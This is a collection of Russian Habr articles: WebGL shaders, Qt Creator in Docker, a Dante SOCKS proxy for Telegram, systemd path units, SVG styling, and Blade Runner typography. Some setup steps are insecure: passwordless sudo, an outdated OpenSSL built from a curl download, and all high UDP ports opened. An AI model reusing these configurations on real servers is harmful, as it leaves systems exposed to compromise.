.split(/\s+/)
.filter(s => s.length)
.slice(1)
.map(s => s.split("/").map(Number))
);
const vertexList = exNs(preLines, "v"); // получаем все вершины
const faceList = exFs(preLines); // все поверхности
const filteredFaceList = faceList.filter(is => is.length === 4); // собираем поверхности только с 4 точками, т.е. квады
const vertexes = filteredFaceList
.map(is => {
const [v0, v1, v2, v3] = is.map(i => vertexList[i[0] - 1]);
return [[v0, v1, v2], [v0, v2, v3]];
}) // склеиваем треугольники
.flat(4);
const uvs = Array.from({ length: filteredFaceList.length }, () => [
[uv4[0], uv4[1], uv4[2]],
[uv4[0], uv4[2], uv4[3]]
]).flat(4); // собираем текстурные координаты под каждую поверхность
return [vertexes, uvs];
}
```
Дальше, я обновил фрагментный шейдер:
```
precision mediump float;
varying vec2 v_texture_coords; // текстурные координаты из вершинного шейдера
// define позволяет определять константы
#define FN (0.07) // толщина линии, просто какой-то размер, подбирался на глаз
#define LINE_COLOR vec4(1,0,0,1) // цвет линии. красный.
#define BACKGROUND_COLOR vec4(1,1,1,1) // остальной цвет. белый.
void main() {
if (
v_texture_coords.x < FN || v_texture_coords.x > 1.0-FN ||
v_texture_coords.y < FN || v_texture_coords.y > 1.0-FN
)
// если мы находимся на самом краю поверхности, то рисуем выставляем цвет линии
gl_FragColor = LINE_COLOR;
else
gl_FragColor = BACKGROUND_COLOR;
}
```
И, о боже! Вот он результат который я так хотел. Да грубо, линии жесткие, но это шаг вперед. Дальше я переписал код шейдера на `smoothstep` (специальная функция которая позволяет делать линейную интерполяцию) и поменял еще стиль нейминга переменных.
```
// fragment
precision mediump float;
uniform vec3 uLineColor; // теперь цвета и прочее передаю js, а не выставляю константы
uniform vec3 uBgColor; // теперь получаю цвет яблока через переменную.
uniform float uLineWidth; // ширину линии тоже получаю через переменную.
varying vec2 vTextureCoords;
// функция которая высчитала на основе uv и "порога" и сколько должна идти плавность
// то есть через threshold я говорил где должен быть один цвет, а потом начинается другой, а с помощью gap определял долго должен идти линейный переход. Чем выше gap, тем сильнее размытость.
// и которая позволяет не выходить за пределы от 0 до 1
float calcFactor(vec2 uv, float threshold, float gap) {
return clamp(
smoothstep(threshold - gap, threshold + gap, uv.x) + smoothstep(threshold - gap, threshold + gap, uv.y), 0.,
1.
);
}
void main() {
float threshold = 1. - uLineWidth;
float gap = uLineWidth + .05; // число опять подбиралось на вкус
float factor = calcFactor(vTextureCoords, threshold, gap);
// функция mix на основе 3 аргумента выплевывает 1 аргумент или 2, линейно интерпретируя.
gl_FragColor = mix(vec4(uLineColor, 1.), vec4(uBgColor, 1.), 1. - factor);
}
```
Красота! Я доволен собой, а дизайнер моей работой. Да есть какие-то мелочи, но это лучшее что я смог тогда родить.
Хотя особо внимательные сразу заметят, что размеры квадратов стали больше, чем на прошлой "грубой" версии.
А я был не особо внимательным, поэтому заметил это только спустя 2 недели. Возможно, эйфория от успеха вскружила мне голову...
### Доработка шейдера
Когда я закончил первую реализация рендера, я пошел делать другие задачи по проекту. Но в течении 2 недель, я понял, что недоволен тем как выглядит модель, она точно не выглядела как на рендере у дизайнера, да еще меня беспокоило, что я толщина линий все равно была какой-то не такой.
Мне было не понятно, почему у меня такая крупная сетка на яблоке, хотя в cinema4d и блендере, она довольно мелкая.
Плюс, я решил поделиться со своими переживаниями с коллегой на работе, и когда я ему начал объяснять как работает мой шейдер, я понял, что уже и не помню как я вообще до него допер и при попытке объяснить ему, я начал по новой экспериментировать с шейдером.
Для начала я вспомнил трюк из [уроков по шейдерам](https://www.youtube.com/watch?v=u5HAYVHsasc&list=PLGmrMu-IwbguU_nY2egTFmlg691DN7uE5) и просто закидывал цвета на основе x координаты и получил для себя интересный результат.
Я понял, что все это время у меня была мелкая сетка, но я почему-то игнорировал ее. Поиграв еще, я наконец-то понял, что зарисовал только 2 грани из 4 у каждой поверхности, что привело к тому, что у меня такая крупная сетка.
У меня не получалось используя `step` и прочее, реализовать нужную мне сетку, я получал какой-то бред.
Тогда, я решил сначала написать топорно и родил такой шейдер.
```
// part of fragment shader
if (vTextureCoords.x > uLineWidth && vTextureCoords.x < 1.0 - uLineWidth && vTextureCoords.y > uLineWidth && vTextureCoords.y < 1.0 - uLineWidth) {
gl_FragColor = vec4(uBgColor, 1.);
} else {
gl_FragColor = vec4(uLineColor, 1.);
}
```
Я наконец получил нужный результат.
Дальше, за час вместе с докой по функциям из webgl. Я смог переписать код как-то по модному чтоль.
```
// part of fragment shader
float border(vec2 uv, float uLineWidth, vec2 gap) {
vec2 xy0 = smoothstep(vec2(uLineWidth) - gap, vec2(uLineWidth) + gap, uv);
vec2 xy1 = smoothstep(vec2(1. - uLineWidth) - gap, vec2(1. - uLineWidth) + gap, uv);
vec2 xy = xy0 - xy1;
return clamp(xy.x * xy.y, 0., 1.);
}
void main() {
vec2 uv = vTextureCoords;
vec2 fw = vec2(uLineWidth + 0.05);
float br = border(vTextureCoords, uLineWidth, fw);
gl_FragColor = vec4(mix(uLineColor, uBgColor, br), 1.);
}
```
Я получил мелкую сетку. **Ура!**
Почти, почти!Но, у меня оставалась проблема, что чем ближе к краю, тем хуже различаются линии.
Насчет этого вопроса, я обратился за помощью в чат и мне рассказали про `OES_standard_derivatives` экстеншена для webgl. Экстеншены это что-то вроде плагинов, которые добавляли в glsl новые функции или включали какие-то возможности в рендере. Добавив в код шейдера fwidth (не забывайте включать экстеншены, до того как соберете программу, а то буду проблемы), функцию которая появилась после подключение экстеншена. Я добился того, чего хотел.
```
// part of fragment shader
#ifdef GL_OES_standard_derivatives
fw = fwidth(uv);
#endif
```
И вот оно!
Самое красивое яблоко на светеВсе, я закончил со своим движком, а результат был божественным. Осталось дело за малым, отрефачить код и добавить анимации. | https://habr.com/ru/post/567174/ | null | ru | null |
# Запуск графических приложений в Docker
Введение.
---------
В основном, Docker привыкли использовать для запуска сервисов или процессов не предполагающих визуальной составляющей. Однако могут быть ситуации, когда в контейнере возникает необходимость открыть среду разработки и на месте продебажить один сервис или два сервиса, каждый в своем контейнере. В прошлой [статье](https://habr.com/ru/company/stc_spb/blog/647877/) я писал, как запускать графические приложения в wsl, в текущей расскажу, как можно запустить разными способами в контейнере qtcreator. Аналогично можно будет поступить с любой средой разработки или программой.
Подготовка.
-----------
Включаем wsl на windows, если он отключен, говорим ему работать в режиме wsl2 – ровно так как описано в [документации](https://docs.microsoft.com/ru-ru/windows/wsl/install) Майкрософт. Устанавливаем [Docker](https://docs.docker.com/desktop/windows/install/).
Создаем для примера контейнер *simpleimg\_0* на основе ubuntu:18.04 и тут же запускаем его в интерактивном режиме:
```
docker run --name simpleimg_0 -it ubuntu:18.04 /bin/bash
```
Поставим mc по желанию для своего удобства:
```
apt update && apt install mc
```
Согласимся доставить все зависимости и получим:
Установка qtcreator.
--------------------
Теперь устанавливаем qtcreator:
```
apt install qtcreator
```
Соглашаемся добавить 1,6гб зависимостей:
При попытке запуска видим, что ничего не получится. Теперь решим этот вопрос.
Запуск qtcreator.
-----------------
Для того чтобы запустить графическое приложение из консоли линукс нужно на хостовой системе запустить х-сервер, в нашем случае это Vcxsrv.
Указываем при его запуске номер дисплея и запоминаем его:
На следующей оставляем все по умолчанию:
На последней снимаем средний флажок и устанавливаем последний:
Теперь видим значек х-сервера в трее около часов.
Теперь нам нужно узнать заветный адрес х-сервера, который нужно нам указать в контейнере. Для этого открываем консоль на хостовой ОС и запрашиваем информацию по сети:
```
ipconfig
```
Находим в выводе информацию по сети wsl:
Берем этот адрес и вносим его в переменную окружения DISPLAY в ОС контейнера, вспомнив про номер дисплея:
```
export DISPLAY=172.30.144.1:0
```
Повторно запускаем qtcreator и ура, он запускается в окне на заднем плане за консолью:
Заходим в настройки, проверяем, что компиляторы уже стоят:
Есть дебаггер, но нет Cmake и нет комплекта Qt.
Закрываем окно программы, переходим в консоль и доставляем Cmake:
```
apt install cmake
```
Проверяем и видим, что при следующем запуске Cmake уже подтянулся в настройках:
Любые зависимости таким образом можно самостоятельно доставить.
Посмотрим сколько весит наш контейнер для отладки – не очень то и много, т.к в несколько раз меньше чем виртуальная машина на основе убунты:
После того как мы завершили работу с контейнером, то запустить его снова в интерактивном режиме можно командой:
```
docker container start simpleimg_0 –i
```
Dockerfile, автоматизация.
--------------------------
Все то, что мы выше проделали руками, можно прописать в Dockerfile и создать все одной командой из консоли.
Qt в dockerfile можно установить несколькими способами – через apt install, через python утилиту aqt, через офиц. установщики qt.
Первый способ в ручном режиме разобрали в первой части статьи, предлагаю ниже разобрать установку через python. Создаем Dockerfile со следующим содержимым и переходим в консоли к нему на один уровень:
```
FROM ubuntu:18.04
RUN apt-get -y update && DEBIAN_FRONTEND=noninteractive apt-get -y install \
git \
cmake \
python3 \
python3-pip \
build-essential \
libdbus-1-3 \
libpulse-mainloop-glib0
RUN pip3 install aqtinstall
ARG QT=5.11.0
ARG QT_TOOLS=tools_qtcreator
ARG QT_HOST=linux
ARG QT_TARGET=desktop
ARG QT_ARCH=gcc_64
RUN aqt install-qt --outputdir /opt/qt ${QT_HOST} ${QT_TARGET} ${QT} ${QT_ARCH}
RUN aqt install-tool -O /opt/qtcreator ${QT_HOST} ${QT_TARGET} ${QT_TOOLS}
ENV PATH /opt/qt/${QT}/gcc_64/bin:/opt/qtcreator/Tools/QtCreator/bin:$PATH
ENV QT_PLUGIN_PATH /opt/qt/${QT}/gcc_64/plugins/
ENV QML_IMPORT_PATH /opt/qt/${QT}/gcc_64/qml/
ENV QML2_IMPORT_PATH /opt/qt/${QT}/gcc_64/qml/
```
Здесь мы сначала ставить необходимые зависимости для сборки, после этого ставим утилиту aqtinstall и выполняем ей две команды:
aqt install-qt – устанавливает библиотеки qt
aqt install-tool – устанавливает qtcreator.
Теперь создаем образ из этого файла:
```
docker build -f Dockerfile -t simpleimg_qtcr .
```
Запускаем, и вспоминаем, что нужно прописать актуальный адрес DISPLAY.
Минус этого способа – долгая установка, т.к все стягивается с офис.репозитория Qt. Документация для утилиты [aqt](https://aqtinstall.readthedocs.io/_/downloads/en/latest/pdf/).
Разберем еще один способ, лишенного этого недостатка – установка с использованием оффлайн-установщика с офиц. сайта. Качаем с офиц. [репозитория](https://download.qt.io/official_releases/qt/) установщик. Качаем скрипт не интерактивного установщика [qt-installer-noninteractive.qs](https://github.com/scrapinghub/splash/blob/master/dockerfiles/splash/qt-installer-noninteractive.qs). Открываем последний скрипт в редакторе и кое-что правим.
Вписываем данные авторизации:
```
Controller.prototype.CredentialsPageCallback = function() {
var page = gui.pageWidgetByObjectName("CredentialsPage");
page.loginWidget.EmailLineEdit.setText("email");
page.loginWidget.PasswordLineEdit.setText("pass");
gui.clickButton(buttons.NextButton);
}
```
Вписываем куда установить фреймворк:
```
Controller.prototype.TargetDirectoryPageCallback = function()
{
//dev is the user in our docker image
gui.currentPageWidget().TargetDirectoryLineEdit.setText(installer.value("/opt/Qt5.11.0"));
gui.clickButton(buttons.NextButton);
}
```
В разделе Controller.prototype.ComponentSelectionPageCallback = function() указываем какие компоненты установить, а какие нет:
```
widget.deselectAll();
widget.selectComponent("qt.tools.qtcreator");
widget.selectComponent("qt.qt5.5110");
widget.selectComponent("qt.qt5.5110.gcc_64");
widget.deselectComponent("qt.qt5.5110.android_x86");
widget.deselectComponent("qt.qt5.5110.android_armv7");
widget.deselectComponent("qt.qt5.5110.android_armv7");
widget.deselectComponent("qt.qt5.5110.doc");
widget.deselectComponent("qt.qt5.5110.examples");
widget.deselectComponent("qt.qt5.5110.src");
```
На одном уровне с установщиком создаем dockerfile:
```
# run as:
# docker build -t offline_qtcr -f Dockerfile path_to_distrib
FROM ubuntu:18.04
MAINTAINER Chesnochenko
ARG DEBIAN\_FRONTEND=noninteractive
RUN apt update && \
apt -o Dpkg::Options::="--force-confold" install -q -y mc build-essential \
mesa-common-dev libglu1-mesa-dev libdbus-1-dev x11-xkb-utils sudo curl \
libfontconfig1 libxrender1 libxi6 libgconf-2-4 libxcb-xinerama0 gdb cmake && \
apt clean && rm -rf /var/lib/apt/lists/\*
RUN useradd -G users,video -ms /bin/bash user && \
echo 'user:12345678' | chpasswd -e && \
echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers && \
mkdir /run/user && \
chown user:user /run/user && \
apt update && apt install -y locales language-pack-ru libfontconfig1 && \
update-locale LANG=ru\_RU.UTF-8 && \
echo 'LANG=ru\_RU.UTF-8' >> /etc/default/locale && \
echo 'export LC\_ALL=ru\_RU.UTF-8' >> /home/user/.bashrc && \
echo 'export LANG=ru\_RU.UTF-8' >> /home/user/.bashrc && \
locale-gen ru\_RU.UTF-8 && \
apt install -y --reinstall locales && \
apt clean && rm -rf /var/lib/apt/lists/\*
WORKDIR /tmp/
COPY qt-opensource-linux-x64-5.11.0.run .
COPY qt-installer-noninteractive.qs .
RUN chmod a+x qt-opensource-linux-x64-5.11.0.run \
&& chmod a+x qt-installer-noninteractive.qs
RUN curl https://www.openssl.org/source/openssl-1.0.2l.tar.gz | tar xz && cd openssl-1.0.2l && \
./config && make -j $(nproc) && make install && \
ln -sf /usr/local/ssl/bin/openssl `which openssl`
RUN ./qt-opensource-linux-x64-5.11.0.run -platform minimal --verbose --script ./qt-installer-noninteractive.qs
RUN rm -f qt-opensource-linux-x64-5.11.0.run qt-installer-noninteractive.qs
ENV DISPLAY=172.30.144.1:0
RUN echo 'export DISPLAY=172.30.144.1:0' >> /home/user/.bashrc
#RUN setxkbmap -model pc105 -layout us,ru -option grp:alt\_shift\_toggle
ARG QT=5.11.0
ARG QT\_HOST=linux
ARG QT\_TARGET=desktop
ARG QT\_ARCH=gcc\_64
ENV PATH /opt/Qt${QT}/${QT}/gcc\_64/bin:/opt/Qt${QT}/Tools/QtCreator/bin/:$PATH
ENV QT\_PLUGIN\_PATH /opt/Qt${QT}/${QT}/gcc\_64/plugins/
ENV QML\_IMPORT\_PATH /opt/Qt${QT}/${QT}/gcc\_64/qml/
ENV QML2\_IMPORT\_PATH /opt/Qt${QT}/${QT}/gcc\_64/qml/
ENV SHELL=/bin/bash
CMD bash
USER user
WORKDIR /home/user
CMD bash
```
В эту сборку добавили отдельного пользователя user, поддержку ввода на русском языке и возможность переключаться по alt+ctrl.
Два файла: qt-opensource-linux-x64-5.11.1.run и qt-installer-noninteractive.qs скопировали в контейнер, в папку /tmp. После установки подчистили за собой место. Сразу сохранили в контейнер информацию об адресе х-сервера. В случае, когда после перезагрузки компьютера адрес изменится, мы его установим через параметры запуска контейнера.
Создаем образ, в конце добавляем путь к каталогу где лежат дистрибутив qt и скрипт .qs:
```
docker build -t offline_qtcr -f Dockerfile d:\Distrib\Qt\single\qreator_linux\
```
Запускаем:
```
docker run --name offqtcont -it offline_qtcr /opt/Qt5.11.0/Tools/QtCreator/bin/qtcreator.sh
```
Запустился qtcreator:
Можем при запуске не указывать команду запуска самого qtcreator, тогда откроется консоль и в ней уже можем ввести путь до исполняемого файла.
Заключение.
-----------
Вы познакомились с тремя способами установить и запустить qtcreator в докере. Если вам не нужен сам qtcreator, то по такому же принципу можно в докере развернуть любое графическое приложение. | https://habr.com/ru/post/657927/ | null | ru | null |
# Поднимаем SOCKS прокси для Telegram
Поднять свой socks прокси очень просто — справится даже далекий от Linux и серверного администрирования человек. Достаточно иметь VDS/выделенный сервер за границей.
Пошаговая инструкция для запуска своего sockd прокси на Centos7
Добавляем репозиторий
```
sudo yum install http://mirror.ghettoforge.org/distributions/gf/gf-release-latest.gf.el7.noarch.rpm
```
Включаем репозиторий и устанавливаем Dante
```
sudo yum --enablerepo=gf-plus install dante-server
```
Разрешаем автозагрузку сервиса
```
sudo systemctl enable sockd.service
```
Создаем рабочую папку
```
sudo mkdir /var/run/sockd
```
Делаем бэкап оригинального конфига
```
sudo mv /etc/sockd.conf /etc/sockd.conf.orig
```
Узнаем название сетевого интерфейса — например eth0
```
sudo ifconfig
```
Пишем свой конфиг
```
sudo vim /etc/sockd.conf
```
Подставляем название своего сетевого интерфейса и порт, а также добавляем IP адреса Telegram
**sockd.conf**
```
#logoutput: /var/log/socks.log
logoutput: stderr
# На каком сетевом интерфейсе и порту обслуживаем socks клиентов
internal: eth0 port = 433
# С какого IP или интерфейса выходим во внешний мир
external: eth0
#internal: x.x.x.x port = 1080
#external: x.x.x.x
# Используемый метод авторизации клиентов. none - без авторизации.
#user.libwrap: nobody
socksmethod: username
#clientmethod: username
#socksmethod: username none
user.privileged: root
user.unprivileged: nobody
#user.libwrap: nobody
client pass {
from: 0/0 to: 0/0
log: error
session.state.key: from
session.state.max: 10
session.state.throttle: 10/2
session.inheritable: no
}
socks pass {
from: 0/0 to: 149.154.167.99/32
log: error
}
socks pass {
from: 0/0 to: 149.154.175.10/32
log: error
}
socks pass {
from: 0/0 to: 149.154.175.117/32
log: error
}
socks pass {
from: 0/0 to: 149.154.167.42/32
log: error
}
socks pass {
from: 0/0 to: 149.154.175.50/32
log: error
}
socks pass {
from: 0/0 to: 149.154.167.50/32
log: error
}
socks pass {
from: 0/0 to: 149.154.167.51/32
log: error
}
socks pass {
from: 0/0 to: 149.154.175.100/32
log: error
}
socks pass {
from: 0/0 to: 149.154.167.91/32
log: error
}
socks pass {
from: 0/0 to: 149.154.165.120/32
log: error
}
socks pass {
from: 0/0 to: 149.154.166.120/32
log: error
}
socks pass {
from: 0/0 to: 149.154.164.250/32
log: error
}
socks pass {
from: 0/0 to: 149.154.167.117/32
log: error
}
socks pass {
from: 0/0 to: 149.154.167.118/32
log: error
}
socks pass {
from: 0/0 to: 149.154.167.192/27
log: error
}
socks pass {
from: 0/0 to: 149.154.164.8/29
log: error
}
socks pass {
from: 0/0 to: 91.108.8.0/27
log: error
}
socks pass {
from: 0/0 to: 91.108.12.0/27
log: error
}
socks pass {
from: 0/0 to: 91.108.16.0/27
log: error
}
socks pass {
from: 0/0 to: 91.108.56.0/24
log: error
}
socks pass {
from: 0/0 to: 91.108.4.0/24
log: error
}
socks pass {
from: 0/0 to: 149.154.160.0/22
log: error
}
socks pass {
from: 0/0 to: 149.154.164.0/22
log: error
}
socks pass {
from: 0/0 to: 149.154.168.0/22
log: error
}
socks pass {
from: 0/0 to: 149.154.172.0/22
log: error
}
socks pass {
from: 0/0 to: 91.108.56.0/22
log: error
}
socks pass {
from: 0/0 to: 91.108.4.0/22
log: error
}
socks pass {
from: 0/0 to: 91.108.8.0/22
log: error
}
socks pass {
from: 0/0 to: 91.108.16.0/22
log: error
}
socks pass {
from: 0/0 to: 91.108.12.0/22
log: error
}
socks pass {
from: 0/0 to: 149.154.160.0/20
log: error
}
socks pass {
from: 0/0 to: 2001:b28:f23d:f001::e/128
log: error
}
socks pass {
from: 0/0 to: 2001:67c:4e8:f002::e/128
log: error
}
socks pass {
from: 0/0 to: 2001:b28:f23d:f001::a/128
log: error
}
socks pass {
from: 0/0 to: 2001:67c:4e8:f002::a/128
log: error
}
socks pass {
from: 0/0 to: 2001:b28:f23d:f003::a/128
log: error
}
socks pass {
from: 0/0 to: 2001:67c:4e8:f004::a/128
log: error
}
socks pass {
from: 0/0 to: 2001:b28:f23f:f005::a/128
log: error
}
socks pass {
from: 0/0 to: 2001:67c:4e8:fa60::/64
log: error
}
socks pass {
from: 0/0 to: 2001:b28:f23d::/48
log: error
}
socks pass {
from: 0/0 to: 2001:b28:f23f::/48
log: error
}
socks pass {
from: 0/0 to: 2001:67c:4e8::/48
log: error
}
socks pass {
from: 0/0 to: 0/0
command: bind connect udpassociate bindreply udpreply
log: error connect
}
```
Жмем ctrl+C, набираем :wq и жмем Enter — конфиг сохранен
Разрешаем порт в фаерволе
```
sudo firewall-cmd --zone=public --add-port=433/tcp --permanent
```
```
sudo firewall-cmd --zone=public --permanent --add-port=1024-65535/udp
```
```
sudo iptables -A INPUT -p udp -m multiport --dports 1024:65535 -j ACCEPT
```
```
sudo firewall-cmd --reload
```
Запускаем сервис
```
sudo systemctl start sockd
```
Проверяем статус
```
sudo systemctl status sockd
```
```
nload -m –u h –U H
```
Создаем отдельного пользователя
```
sudo useradd proxyuser
```
Устанавливаем пароль
```
sudo passwd proxyuser
```
Все — можно подключаться, рекомендую также перенести ssh порт на другой, запретить подключение по ssh для всех пользователей кроме основного — почитать про это можно, например здесь
[Пять простых шагов для защиты ssh](http://anosov.me/2011/07/five-simple-steps-for-ssh-protect-in-ubuntu/)
[VDS в России и Нидерландах](http://vds.sh)
[Выделенные серверы в России и Нидерландах](http://dedic.sh)
[t.me/audiotube\_stream](https://t.me/audiotube_stream) — наш канал в Telegram с бесплатным скоростным прокси на выделенных серверах в Германии и Нидерландах | https://habr.com/ru/post/353758/ | null | ru | null |
# Рецепт для systemd: принудительный перезапуск сервиса по файловому флагу
Задача:
* имеется некий самописный сервис, запускаемый и отслеживаемый из systemd;
* необходимо при появлении файла-флага рестартовать этот сервис;
* делать это изнутри сервиса нельзя по религиозным соображениям.
Решение:
**restart-myservice.service**
```
[Unit]
Description=Restart my cool service
[Service]
Type=oneshot
ExecStartPre=/bin/rm -f /path/to/restart.flag
ExecStart=/bin/systemctl restart myservice.service
```
**restart-myservice.path**
```
[Unit]
Description=Path marker to restart my cool service
[Path]
PathExists=/path/to/restart.flag
Unit=restart-myservice.service
```
Не забудьте сказать `systemctl start restart-myservice.path` и прописать restart-myservice.path в параметр `Wants` управляемого сервиса.
Ограничения:
Юнит path работает через системный вызов notify, и если флаг по пути с симлинком, то при перестановке симлинка (был на каталог без флага, стал с флагом) он скорее всего не выстрелит, я не проверял.
Дополнительные материалы:
`man systemd.path`
`man systemd.unit` | https://habr.com/ru/post/273351/ | null | ru | null |
# Стилизация SVG-графики
Продолжаем изучать SVG-графику, на этот раз коснемся стилизации.
Первая часть: [Знакомство с SVG-графикой](http://habrahabr.ru/post/157087/).
[Демонстрация примеров](http://koulikov.com/wp-content/uploads/2012/11/svg2/) / [Скачать исходники](http://koulikov.com/wp-content/uploads/2012/11/svg2/svg2.zip)
Изменение внешнего вида SVG-элементов аналогично HTML, с некоторыми особенностями. Например фон назначается свойством **fill**, а не background-color, граница — **stroke** вместо border. Если вы работали с Adobe Illustrator, подобная терминология будет знакома.
Согласно [официальной спецификации SVG](http://www.w3.org/TR/SVG/propidx.html) свойства могут быть добавлены непосредственно в теги. Например **fill** и **stroke** для элемента rect:
```
```
Также свойства можно добавлять как стиль. В примере к **fill** и **stroke** прибавилось CSS3 свойство **transform**:
```
```
Так как SVG основан на XML-разметке, то стиль в .svg-документе необходимо заключать в CDATA, иначе конструкция будет конфликтовать с XML-парсерами. В примере добавлен hover-эффект:
```
<![CDATA[
#internal rect {
fill: slategrey;
stroke: black;
stroke-width: 3;
-webkit-transition: all 350ms;
}
#internal rect:hover {
fill: green;
}
]]>
```
В .svg-документ внешние стили подключаются немного по другому:
```
xml-stylesheet type="text/css" href="style.css"?
```
SVG-элементы можно группировать с помощью тега g, тогда можно применять общие стили:
```
```
Вот и все основные моменты стилизации SVG. Бонусом немного полезного чтива:
* [Официальная информация по стилям](http://www.w3.org/TR/SVG/styling.html) на w3.org
* [Хорошие примеры](http://alignedleft.com/tutorials/d3/an-svg-primer/) в блоге alignedleft.com
* [Оригинал примеров](http://demo.hongkiat.com/scalable-vector-graphic-css-styling/index.html) на hongkiat.com | https://habr.com/ru/post/157965/ | null | ru | null |
# Типографика фильма «Бегущий по лезвию»
После подробного исследования [фильма «Чужой»](https://habr.com/ru/post/572826/) настало время взглянуть на типографику и дизайн ещё одного классического научно-фантастического фильма [Ридли Скотта](https://en.wikipedia.org/wiki/Ridley_Scott) — [«Бегущий по лезвию»](https://en.wikipedia.org/wiki/Blade_Runner) (Blade Runner). Эта лента, снятая по мотивам романа [Филипа К. Дика](https://en.wikipedia.org/wiki/Philip_K._Dick) [«Мечтают ли андроиды об электроовцах?»](https://en.wikipedia.org/wiki/Do_Androids_Dream_of_Electric_Sheep%3F), упрочила репутацию Скотта как автора красивой, умной научной фантастики в жанре [tech noir](https://en.wikipedia.org/wiki/Tech_noir).
(Должен заранее сообщить, что в статье есть множество спойлеров о фильме. Если вы не хотите знать, когда в «Бегущем по лезвию» единственный раз мелькает шрифт [Eurostile Bold Extended](https://typesetinthefuture.com/fontspots-eurostile/), то отложите чтение.)
Начальные титры *«Бегущего по лезвию»* сделаны отчётливо *нефутуристичными*. В них используется шрифт [Goudy Old Style](https://en.wikipedia.org/wiki/Goudy_Old_Style), созданный [Фредериком Гауди](https://en.wikipedia.org/wiki/Frederic_Goudy) в 1915 году, а также другие шрифты, образующие настоящий типографический рог изобилия:
**Перевод**
В начале ХХI века корпорация «Тайрелл» совершила прорыв в робототехнике. Роботы «Нексус» были практически неотличимы от человека. Их называли репликантами. Репликанты «Нексус-6» превосходили своих создателей в силе и ловкости, и были ничуть не глупее. Репликантов использовали в качестве рабов для разведки и освоения космических миров. После кровавого восстания боевого отряда Нексус-6 на одной из колоний репликанты на Земле были объявлены вне закона, под страхом смерти. Специальные полицейские отряды, «Бегущие по лезвию», должны были убивать обнаруженных репликантов. Это не называлось казнью. Это называлось «отставкой».
В пяти с небольшим параграфах мы встречаем неравномерно разбросанные примеры [капители](https://en.wikipedia.org/wiki/Small_caps) и пять особенно жирных [длинных тире](https://en.wikipedia.org/wiki/Dash#En_dash_versus_em_dash). (К счастью, в них не используется уродливый американский стиль с удалением—без какой-либо причины—пробелов.)
Однако моей любимой особенностью начальных титров являются примеры Слов С Прописной Буквы В Середине Предложения, популяризированных [Аланом Милном](https://en.wikipedia.org/wiki/A._A._Milne) и [Памелой Линдон Трэверс](https://en.wikipedia.org/wiki/P._L._Travers):
Пока мы не забыли типографические аномалии начальных титров, давайте встретимся с первым подозреваемым репликантом. Леон, потенциальный Нексус-6, тестируется на [машине Войта-Кампфа](https://en.wikipedia.org/wiki/Blade_Runner#Voight-Kampff_machine) в здании корпорации «Тайрелл». Мы знаем, что находимся в офисе Tyrell Corporation, потому что на спинках всех стульев трафаретом нанесена надпись TYRELL CORP. шрифтом *напоминающим* [Akzidenz-Grotesk Extended](http://www.bertholdtypes.com/font/akzidenz-grotesk-extended/proplus/):
Как мы уже выяснили на примере и [*«Чужого»*](https://typesetinthefuture.com/alien), и [*«Луны 2112»*](https://typesetinthefuture.com/moon/), повсеместный корпоративный брендинг — самый важный признак успешного международного конгломерата.
Машина Войта-Кампфа измеряет сокращения сфинктера зрачка для оценки эмпатической реакции исследуемого на различные вопросы. В процессе проведения теста мы видим увеличенное изображение зелёного глаза Леона:
Это странно, ведь у Леона голубые глаза:
Позже тест Войта-Кампфа проводится и для племянницы Тайрелла Рейчел. В процессе теста мы видим увеличенное изображение зелёного глаза Рейчел:
И это странно, ведь у Рейчел карие глаза:
К счастью, эту загадку легко решить: глаза, которые мы видим на экранах машины Войта-Кампфа, взяты из банка киноматериалов [Oxford Scientific Films](http://www.oxfordscientificfilms.tv/), а не сняты у репликанта. Я практически в этом уверен, потому что глаза *реального* репликанта сложно заснять без сильно заметного [эффекта красных глаз](https://en.wikipedia.org/wiki/Red-eye_effect). Скотт боролся с этим явлением на протяжении всей съёмки «Бегущего по лезвию». Даже несмотря на усилия современных реставраторов фильмов, в версии *[Final Cut](https://en.wikipedia.org/wiki/Versions_of_Blade_Runner#The_Final_Cut_.282007.29)* «Бегущего по лезвию» мы видим неизбежный пример этого явления при первой встрече с Леоном:
То же происходит, когда мы встречаем Рейчел (предположительно, племянницу Тайрелла, однако позже она оказывается не подозревающим об этом репликантом):
Этот эффект присутствует и когда Прис встречается с Роем Батти в квартире Дж. Ф. Себастьяна:
У искусственной совы Тайрелла он заметен больше всего:
Да даже самые совершенные Нексус-6, например Рой Батти, страдают от сильного эффекта красных глаз:
На протяжении фильма эта проблема всплывает снова и снова. Учитывая невероятный реализм «актёров»-репликантов (полностью аниматронных), печально, что продюсеры не смогли справиться с подобной простой проблемой фотографии.
Наверно, самым необъяснимым примером этого явления является размытое изображение главного героя фильма (совершенно точно *не* репликанта) Рика Декарда, сыгранного [Харрисоном Фордом](https://en.wikipedia.org/wiki/Harrison_Ford):
Как странно! Наверняка потом не окажется, что это какая-то важная деталь.
Когда мы впервые встречаем Декарда, он сидит под лос-анджелесским дождём и неторопливо читает газету. Заголовок статьи FARMING THE OCEANS, THE MOON AND ANTARCTICA («Фермы в океанах, на Луне и в Антарктике»), похоже, набран шрифтом [Futura Demi](http://www.myfonts.com/fonts/urw/futura/t-demi/):
Вот увеличенное изображение газеты с [фото с Харрисоном Фордом и Ридли Скоттом на съёмочной площадке](https://typesetinthefuture.files.wordpress.com/2016/06/bladerunner_newspaper_press_shot_full.jpg):
Подзаголовок гласит WORLD WIDE COMPUTER LINKUP PLANNED («Запланировано всемирное соединение компьютеров»); кажется, он набран [Optima Bold](https://www.myfonts.com/fonts/linotype/optima/). Хотя в наше время идея о всемирном соединении компьютеров в сеть кажется устаревшей, в 1982 году она была очень необычной. Только в марте 1982 года Министерство обороны США, создавшее предка Интернета под названием [ARPANET](https://en.wikipedia.org/wiki/ARPANET), объявило о том, что [TCP/IP](https://en.wikipedia.org/wiki/Internet_protocol_suite) станет стандартом для всех сетевых компьютеров военного назначения; фактически, это стало стимулом для образования современного Интернета.
